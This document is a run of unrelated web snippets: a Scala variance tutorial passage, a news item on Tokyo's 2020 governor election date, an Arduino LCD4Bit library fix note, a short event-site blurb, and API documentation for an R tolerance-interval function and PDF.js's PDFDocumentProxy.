If a `Printer[Cat]` knows how to print any `Cat` to the console, and a `Printer[Animal]` knows how to print any `Animal` to the console, it makes sense that a `Printer[Animal]` would also know how to print any `Cat`. The inverse relationship does not apply, because a `Printer[Cat]` does not know how to print any `Animal` to the console. Therefore, we should be able to substitute a `Printer[Animal]` for a `Printer[Cat]`, if we wish, and making `Printer[A]` contravariant allows us to do exactly that.
val myCat = Cat("Boots")
def printMyCat(printer: Printer[Cat]): String =
printer.print(myCat)
val catPrinter = new CatPrinter
val animalPrinter = new AnimalPrinter
printMyCat(catPrinter)
printMyCat(animalPrinter)
Invariance
Generic classes in Scala are invariant by default. This means that they are neither covariant nor contravariant. In the context of the following example, `Container` class is invariant. A `Container[Cat]` is _not_ a `Container[Animal]`, nor is the reverse true.
class Container[A](value: A) {
private var _value: A = value
def getValue: A = _value
def setValue(value: A): Unit = {
_value = value
}
}
It may seem like a `Container[Cat]` should naturally also be a `Container[Animal]`, but allowing a mutable generic class to be covariant would not be safe. In this example, it is very important that `Container` is invariant. Supposing `Container` was actually covariant, something like this could happen:
val catContainer: Container[Cat] = new Container(Cat("Felix"))
val animalContainer: Container[Animal] = catContainer
animalContainer.setValue(Dog("Spot"))
val cat: Cat = catContainer.getValue // Oops, we'd end up with a Dog assigned to a Cat
Fortunately, the compiler stops us long before we could get this far.
Other Examples
Another example that can help one understand variance is `trait Function1[-T, +R]` from the Scala standard library. `Function1` represents a function with one argument, where the first type parameter `T` represents the argument type, and the second type parameter `R` represents the return type. A `Function1` is contravariant over its argument type, and covariant over its return type. For this example we'll use the literal notation `A => B` to represent a `Function1[A, B]`.
Assume the similar `Cat`, `Dog`, `Animal` inheritance tree used earlier, plus the following:
class SmallAnimal
class Mouse extends SmallAnimal
Suppose we're working with functions that accept types of animals, and return the types of food they eat. If we would like a `Cat => SmallAnimal` (because cats eat small animals), but are given a `Animal => Mouse` instead, our program will still work. Intuitively an `Animal => Mouse` will still accept a `Cat` as an argument, because a `Cat` is an `Animal`, and it returns a `Mouse`, which is also an `SmallAnimal`. Since we can safely and invisibly substitute the former for the latter, we can say `Animal => Mouse` is a subtype of `Cat => SmallAnimal`.
Comparison With Other Languages
Variance is supported in different ways by some languages that are similar to Scala. For example, variance annotations in Scala closely resemble those in C#, where the annotations are added when a class abstraction is defined (declaration-site variance). In Java, however, variance annotations are given by clients when a class abstraction is used (use-site variance).


Tokyo to vote for governor three weeks before Olympics
TOKYO: Tokyo will hold an election to pick a governor on Jul 5, 2020, less than three weeks before the Japanese capital hosts the Olympic Games, the city said Wednesday (Nov 13).
Incumbent Yuriko Koike, 67, has not officially announced her candidacy but is widely expected to run.
Her term is set to expire on Jul 30 and she must hold an election within 30 days of that date.
Mayoral elections are usually held on a Sunday, making Jul 5 the furthest possible date from the Opening Ceremony on Jul 24.
Koike, a media-savvy veteran, won the governorship in a landslide vote in 2016, becoming the first female leader of the world's most populous city.
She sent shockwaves through Japanese politics in 2017 by forming her own "Party of Hope" to challenge long-standing Prime Minister Shinzo Abe in a national election.
However, her support imploded after a promising start, partly because she did not stand herself in the election, confusing voters as to whether she would give up the Tokyo governorship to become PM.
More recently, Koike has hit the headlines with her vigorous opposition to the decision of the International Olympic Committee to move the marathon to the northern city of Sapporo to escape the Tokyo summer heat.
She was forced to grudgingly accept the IOC's decision but made it clear she was doing so because she had no choice.
Official campaigning for the election will begin on Jun 18, according to the city's election board.
The Tokyo games run from Jul 24 to Aug 9.


Summary
Arduino works fine with Character LCD (the classic 16 char x 2 lines). It can even use the 4 bits library, to save some pins (you end up needing 6 at minimum). However that library or at least the version I had was old (2006) and had some painful limitations. It's fixed in this version. Feel free to use, GPL free.
If you find it useful, it's good. If I've wasted 1/2 hour on a historical version, that's it for me. Comments welcome.
Edit : LiquidCrystal is much better, should have used it from start ...
An exemple on how to plug it. Count 7 pins for driving it (4 bits data + E + CS + Backlight)
Fixings
Based on the version of LCD4Bit v0.1 16/Oct/2006 neillzero
http://www.arduino.cc/playground/Code/LCD4BitLibrary http://abstractplain.net
- Pins must be contiguous : fixed !
- You can't specify the pins easily (must recompile the library itself) : now you can override it easily with lcd.overrideLCDPins(int pPins[], int pRS, int pRW, int pEnable)
- Annoying warning during build : fixed (added the missing parenthesis)
Download and install
Replace the version of Lib4bit you have with this one in the
\arduino-0015\hardware\libraries\LCD4Bit directory. That's all. Maybe drop the lib4bit.o and rebuild, in case. Enjoy.
LCD4Bit.zip
Links


Accounts at Market to Market are split into two categories to simplify your experience when browsing and creating events. This time you may be hosting an event, but next time you may be looking to self promote. Whatever it is, we have you covered.
Get your event noticed, benefit from advertisers who desperately want to meet your attendees.
Connect with local events through a built a modern offers system. Simple. Quick. Easy. Real results.


In this example, the scripts are loaded in order, using script elements. Only scope-bootstrap is used.
Go on with Example 2.


R/k_factor.R
k_factor.Rd
Estimates k-factors for tolerance intervals based on Howe's method with normality assumption.
k_factor(n, alpha = 0.05, P = 0.99, side = 1)
| n | Sample size |
|---|---|
| alpha | The level chosen such that (1-alpha) is the confidence level. |
| P | The proportion of the population to be covered by the tolerance interval. |
| side | Whether a 1-sided or 2-sided tolerance interval is required (determined by |
The estimated k-factor for tolerance intervals assuming normality.
This function is a simplified version of tolerance::K.factor()
, only considering Howe's method.
ti_pp
k_factor(10, P = 0.95, side = 2)#> [1] 3.407495


new PDFDocumentProxy()
Proxy to a PDFDocument in the worker thread. Also, contains commonly used
properties that can be read synchronously.
- Source:
Members
-
fingerprint
-
- Source:
-
numPages
-
- Source:
Methods
-
cleanup()
-
Cleans up resources allocated by the document, e.g. created @font-face.
- Source:
-
destroy()
-
Destroys current document instance and terminates worker.
- Source:
-
getAttachments() → {Promise}
-
- Source:
Returns:
A promise that is resolved with a lookup table for mapping named attachments to their content.- Type
- Promise
-
getData() → {Promise}
-
- Source:
Returns:
A promise that is resolved with a TypedArray that has the raw data from the PDF.- Type
- Promise
-
getDestinations() → {Promise}
-
- Source:
Returns:
A promise that is resolved with a lookup table for mapping named destinations to reference numbers.- Type
- Promise
-
getDownloadInfo() → {Promise}
-
- Source:
Returns:
A promise that is resolved when the document's data is loaded. It is resolved with an {Object} that contains the length property that indicates size of the PDF data in bytes.- Type
- Promise
-
getJavaScript() → {Promise}
-
- Source:
Returns:
A promise that is resolved with an array of all the JavaScript strings in the name tree.- Type
- Promise
-
getMetadata() → {Promise}
-
- Source:
Returns:
A promise that is resolved with an {Object} that has info and metadata properties. Info is an {Object} filled with anything available in the information dictionary and similarly metadata is a {Metadata} object with information from the metadata section of the PDF.- Type
- Promise
-
getOutline() → {Promise}
-
- Source:
Returns:
A promise that is resolved with an {Array} that is a tree outline (if it has one) of the PDF. The tree is in the format of: [ { title: string, bold: boolean, italic: boolean, color: rgb array, dest: dest obj, items: array of more items like this }, ... ].- Type
- Promise
-
getPage(pageNumber) → {Promise}
-
Parameters:
Name Type Description pageNumber
number The page number to get. The first page is 1. - Source:
Returns:
A promise that is resolved with a PDFPageProxy object.- Type
- Promise
-
getPageIndex(ref) → {Promise}
-
Parameters:
Name Type Description ref
Object The page reference. Must have the 'num' and 'gen' properties. - Source:
Returns:
A promise that is resolved with the page index that is associated with the reference.- Type
- Promise